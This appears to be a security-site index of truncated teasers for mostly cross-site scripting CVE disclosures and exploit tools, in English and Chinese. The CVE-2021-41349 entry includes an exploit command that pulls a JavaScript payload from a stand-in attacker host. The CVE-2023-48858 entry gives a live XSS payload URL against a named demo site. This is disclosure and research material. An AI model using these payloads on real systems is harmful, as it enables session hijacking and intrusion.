Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - Cross-Site-Scripting Craft CMS 3.0.25 - Cross-Site Scripting Vulnerability CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 Proof of Concept Allows it to run a Cross-Site Scripting by saving a new title from the console tab. root@kitploit: POST...

Moodle Jitsi Meet 2.7-2.8.3 - Cross-Site Scripting

Moodle Jitsi Meet 2.7 through 2.8.3 plugin contains a cross-site scripting vulnerability via the "sessionpriv.php" module. This allows attackers to craft a malicious URL, which when clicked on by users, can inject JavaScript code to be run by the application. id: CVE-2021-26812 info: name: Moodle...

WordPress UserPro 4.9.32 - Cross-Site Scripting

WordPress UserPro 4.9.32 is vulnerable to reflected cross-site scripting because the Instagram PHP API v2 it relies on allows it via the example/success.php errordescription parameter. id: CVE-2019-14470 info: name: WordPress UserPro 4.9.32 - Cross-Site Scripting author: daffainfo severity: mediu...

CVE-2024-39123-Exploit

CVE-2024-39123：Calibre-web 0.6.21 中的存储型 XSS 漏洞 漏洞利用详情 漏洞利用标题 ：Calibre-web 中的存储型 XSS 漏洞 日期 ：2024-05-07 漏洞利用作者 ：Catalin Iovita & Alexandru Postolache Pentest-Tools.com 厂商主页 ：Calibre-web GitHub 仓库 版本 ：0.6.21 - Romesa 测试环境 ：Linux 5.15.0-107、Python 3.10.12、lxml 4.9.4 CVE ：CVE-2024-39123 漏洞描述 Calibre-w...

tool-29489

Tool-29489 概述 🔍: 该工具用于识别存在 CVE-2023-29489 漏洞的 URL。 该工具使用 payload 来识别该漏洞。 tool-29489 的帮助菜单： python main.py help URL inputfile outputfile -h 或 --help : 显示帮助选项。 -u 或 --url : 输入要检查的 URL。 -i 或 --input : 提供输入文件。 -o 或 --output : 提供输出文件。 关于 CVE-2023-29489 🔍: CVE 描述：- 在 cPanel 11.109.9999.116...

CVE-2026-37750

CVE-2026-37750 — 学校管理系统 1.0 - 反射型 XSS 详细信息 字段| 信息 ---|--- CVE ID| CVE-2026-37750 类型| 反射型跨站脚本（XSS） 严重性| 中危（CVSSv3：6.1） 厂商| mahmoudai1 产品| 学校管理系统 版本| 1.0 发现者| Varad AP Mene 日期| 2026-04-16 CWE| CWE-79 描述 mahmoudai1 开发的学校管理系统 1.0 中存在一个反射型跨站脚本（XSS）漏洞，允许未经身份验证的远程攻击者通过 register.php 中未经过滤的 type...

CVE-2026-30695

CVE-2026-30695 - Zucchetti Axess 中的 XSS 漏洞 概述 Zucchetti Axess 门禁控制设备（XA4、X3/X3BIO、X4、X7、XIO、i-door、i-door+）的基于 Web 的配置界面中存在跨站脚本（XSS）漏洞。 该漏洞是由于 /filemanager.cgi 端点中的 dirBrowse 参数对用户提供的输入未进行适当的清理所致。经过身份验证的攻击者可以注入任意 JavaScript 代码，这些代码会在管理用户的上下文中执行。 成功利用该漏洞可能导致会话劫持、未经授权的配置更改以及敏感信息泄露。 受影响版本 XIO h06...

CVE-2021-41349

Microsoft Exchange 漏洞利用 CVE-2021-41349 利用：CVE-2021-41349 此利用工具会创建一个表单，用于向目标 Exchange 服务器提交 XSS 载荷。 你需要创建一个包含你所需操作的 js 文件。 使用方法 1. 创建你的 js 载荷，并将其上传到某个位置。 2. 按照以下步骤运行 CVE-2021-41349.py。 root@kitploit: python3 CVE-2021-41349.py "https://mail.target.com" "https://hacker.server/payload.js" out.html 或者...

CVE-2021-45416

Docker RosarioSIS 安装 最低要求：Docker 及可用的 Git。 你可以从 DockerHub 拉取镜像，或者： 1. 启动 docker root@kitploit: $ git clone https://github.com/dnr6419/CVE-2021-45416.git $ cd CVE-2021-45416 $ docker-compose up -d 2. 访问该 URL 并安装数据库 root@kitploit: http://YOURIP:80/InstallDatabase.php 3. 然后，前往...

CVE-disclosures

CVE-2026-3171 与 CVE-2026-3170 – Archana M 由 Archana M 发布的官方漏洞披露。 🔹 CVE-2026-3171 产品： SourceCodester / Patrick Mvuma 患者候诊区排队管理系统 1.0 漏洞类型： 跨站脚本（CWE-79） 受影响文件： /queue.php 攻击向量： 远程 用户交互： 需要 CVSS v3.1： 3.5（AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N） 状态： 已公开披露 描述 对用户输入（firstname / lastname）的中和不当，导致跨站脚本（XSS）漏...

CVE-2026-10289-XSS

酒店与旅游预订系统 - 存储型跨站脚本（XSS） 漏洞详情 字段| 详情 ---|--- 标题| 酒店与旅游预订系统 - 存储型跨站脚本（XSS） CVE ID| 待分配 厂商| code-projects.org 厂商 URL| https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ 产品| 酒店与旅游预订系统 版本| 1.0 漏洞类型| 存储型跨站脚本 CWE| CWE-79 CVSS 评分| 8.3（高危） CVSS 向量|...

CVE-2023-48858

CVE-2023-48858 CVE-2023-48858 的 PoC Armex ABO.CMS 5.9 登录页面 PHP 代码中存在跨站脚本（XSS）漏洞，远程攻击者可通过 login.php? URL 部分注入任意 Web 脚本或 HTML。 概念验证： http://demo.abocms.ru/login.php/eqbzm%22%3E%3Cimg%20src%3d/%20onerror%3dalert%281%29%3Er338y 这并非特指“演示”版本的漏洞， 已在真实暴露于网络的网站上得到确认 此处使用的演示链接仅用于表明该漏洞仍然存在 漏洞类型： 跨站脚本（XSS）...

CVE-2024-56289

CVE-2024-56289 1️⃣ 组件类型 WordPress 插件 2️⃣ 组件详情 组件名称 WordPress CRM、电子邮件与营销自动化插件 | 获奖作品 — Groundhogg 受影响版本 由于该插件使用 REST API，固定链接必须设置为“文章名”。 2. 随后，访问以下各菜单的链接将触发反射型 XSS 漏洞。 联系人菜单（/wp-admin/admin.php?page=ghcontacts） root@kitploit:...

TCL-xss-Labs

XSS Lab — The Cyber Ledger 💸 If this project helps you, consider supporting it with a $10 donation to keep it growing. Link: https://rzp.io/rzp/zgkC6h5B An interactive, self-hosted XSS training platform with 33 progressively harder challenges — designed for hackers, pentesters, and developers who...

EUVD-2026-44650

Grav: XSS Blueprint Validation Bypass via Twig String Concatenation...

CVE-2026-22610

Angular SVG 漏洞扫描器 CVE-2026-22610 用途： 扫描 Angular 项目，查找 SVG 元素中潜在的 XSS 漏洞、不安全的 Angular 绑定（attr.href、attr.xlink:href、 ）以及 bypassSecurityTrustResourceUrl 的使用。 用法 在项目根目录运行脚本： 扫描当前文件夹 root@kitploit: node scan-angular-svg-vuln-final.js 扫描指定文件夹 root@kitploit: node scan-angular-svg-vuln-final.js...

CentOS-Control-Web-Panel-CVE

CentOS Control Web Panel version 0.9.8.836 - 0.9.8.847 On June 29, 2019 our team started to find vulnerability on CentOS Control Web Panel CWP version 0.9.8.836, and we found some critical vulnerabilites. Some of the vulnerabilities we found can be chained to compromise the server from anonymous...

Important: Red Hat Security Advisory: Red Hat Edge Manager Version 1.1.4 Security Update

Red Hat Edge Manager Version 1.1.4 Security Update Red Hat Edge Manager RHEM provides simple, scalable, and security-focused management of edge devices and applications. It supports image-mode RHEL and container workloads that run on Podman/Docker or Kubernetes. RHEM is now available as a...

CVE-2025-56515

CVE-2025-56515 Cross-Site Scripting XSS Vulnerability in Fiora Chat Application CVE-2025-56515: Cross-Site Scripting XSS Vulnerability in Fiora Chat Application Vulnerability Overview CVE ID : CVE-2025-56515 Vulnerability Type : Cross-Site Scripting XSS Attack Type : Remote Impact : Code Executio...

CVE-2025-63708

CVE-2025-63708 CVE ID: CVE-2025-63708 Assigned: 11-12-2025 Problem Type: CWE-79 Cross-Site Scripting Affected Product: “AI Font Matcher” posted 2025-10-10, nid=18425 Product page: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html...